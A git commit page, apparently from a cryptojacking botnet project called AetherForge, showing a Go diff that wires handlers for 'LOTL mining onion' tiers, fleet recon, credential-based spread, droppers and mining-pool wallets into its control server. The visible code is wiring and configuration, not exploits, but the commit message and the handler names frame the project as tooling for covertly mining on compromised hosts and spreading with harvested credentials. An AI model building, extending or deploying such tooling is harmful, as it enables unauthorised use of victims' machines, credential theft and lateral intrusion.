drjones/AetherForge
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Add tiered LOTL mining onion and fleet recon so agents can fallback across execution tiers while operators see spread and vuln posture in Crucible. Includes triple-onion chain, spread cred graph, and full Go/TS/E2E test validation.

Browse Source
This commit is contained in:
AetherForge
2026-06-06 23:53:21 -07:00
parent 6372b07e6c
commit 3938bcd1c5
268 changed files with 21347 additions and 1130 deletions
Download Patch File Download Diff File Expand all files Collapse all files

38
server/main.go
View File

@@ -109,6 +109,7 @@ func main() {
filepath.Join(cfg.DataDir, "builds"),
filepath.Join(cfg.DataDir, "preps"),
filepath.Join(cfg.DataDir, "logs"),
filepath.Join(cfg.DataDir, deploymentCredsDir),
}
for _, dir := range dirs {
if err := os.MkdirAll(dir, 0755); err != nil {
@@ -199,10 +200,13 @@ func main() {
applyRuntimeConfig(cfg, wsHub, poolManager, builderHandler)
applyControlServerFirewall(cfg)
spreadCredAdapter := newConfigSpreadCredAdapter(cfg)
configProvider := &serverConfigProvider{
config: cfg,
onSaved: func(c *Config) {
applyRuntimeConfig(c, wsHub, poolManager, builderHandler)
spreadCredAdapter.setConfig(c)
},
}
configHandler := api.NewConfigHandler(configProvider)
@@ -276,6 +280,13 @@ func main() {
}
publicHandler := api.NewPublicHandler(database, cfg.DataDir, publicBuildsCfg)
spreadHandler := api.NewSpreadHandler(database, cfg.DataDir, projectRoot, wsHub)
spreadCredHandler := api.NewSpreadCredHandler(database, spreadCredAdapter)
deployPlanHandler := api.NewDeployPlanHandler(
database, cfg.DataDir, projectRoot,
func() string { return configProvider.PublicURL() },
func() string { return cfg.Server.FleetSecret },
func() map[string]api.ServiceDeployLane { return apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist) },
)
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
@@ -288,7 +299,7 @@ func main() {
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, spreadHandler, spreadCredHandler, deployPlanHandler, publicHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
}, cfg.Port, func() bool {
return cfg.ConnectorToken() != ""
@@ -352,6 +363,16 @@ func applyRuntimeConfig(cfg *Config, wsHub *api.WSHub, poolManager *pool.Manager
StrictWalletValidation: cfg.Server.StrictWalletValidation,
MaxBuildSizeMB: cfg.Server.MaxBuildSizeMB,
PoolReconnectSeconds: cfg.Server.PoolReconnectSeconds,
LotlOnionTiers: cfg.Server.LotlOnionTiers,
ServiceDeployAllowlist: apiServiceDeployAllowlist(cfg.Server.ServiceDeployAllowlist),
TripleOnionPolicy: api.TripleOnionPolicy{
PatchFirst: cfg.Server.TripleOnionPolicy.PatchFirst,
MineIsolatedTier: cfg.Server.TripleOnionPolicy.MineIsolatedTier,
SkipMiningOnHighRisk: cfg.Server.TripleOnionPolicy.SkipMiningOnHighRisk,
HighRiskThreshold: cfg.Server.TripleOnionPolicy.HighRiskThreshold,
ReconTiers: cfg.Server.TripleOnionPolicy.ReconTiers,
DeployLanes: cfg.Server.TripleOnionPolicy.DeployLanes,
},
})
}
if poolManager != nil {
@@ -599,3 +620,18 @@ func findWebRoot() string {
return ""
}
func apiServiceDeployAllowlist(raw map[string]ServiceDeployLane) map[string]api.ServiceDeployLane {
if len(raw) == 0 {
return api.NormalizeServiceDeployAllowlist(nil)
}
out := make(map[string]api.ServiceDeployLane, len(raw))
for name, lane := range raw {
out[name] = api.ServiceDeployLane{
Lane: lane.Lane,
Priority: lane.Priority,
Template: lane.Template,
}
}
return api.NormalizeServiceDeployAllowlist(out)
}